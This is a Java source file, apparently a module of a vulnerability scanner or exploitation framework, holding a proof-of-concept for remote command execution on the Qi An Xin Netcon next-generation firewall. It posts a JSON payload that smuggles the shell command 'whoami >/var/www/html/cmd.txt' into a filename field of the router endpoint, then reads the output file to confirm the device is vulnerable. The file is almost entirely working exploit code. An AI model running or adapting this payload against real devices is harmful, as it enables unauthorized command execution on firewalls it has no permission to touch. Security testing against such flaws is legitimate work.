package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

@BasicMapping(uri = "奇安信")
public class QiAnXinController  extends Controller implements BasicController{
    @VulnerabilityDescriptionMapping(Description="奇安信 网康下一代防火墙 RCE" ,SupportVulType= SupportVul.信息泄露)
    public void vul_网康RCE(Poc_Exp type, String target, Object... args) throws Exception {
        WriteLog("\n[*]开始检测：  奇安信 网康下一代防火墙 RCE");
        String data = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;whoami >/var/www/html/cmd.txt\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
        switch (type){
            case EXP:
                break;
            case POC:
                new HttpRequest(target+"/directdata/direct/router").Post(data);
                Response result = new HttpRequest(target+"/cmd.txt").Get("");
                if(result.responseBody.length()>0&&result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog("访问："+target +"/cmd.txt");
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
        }
    }
}
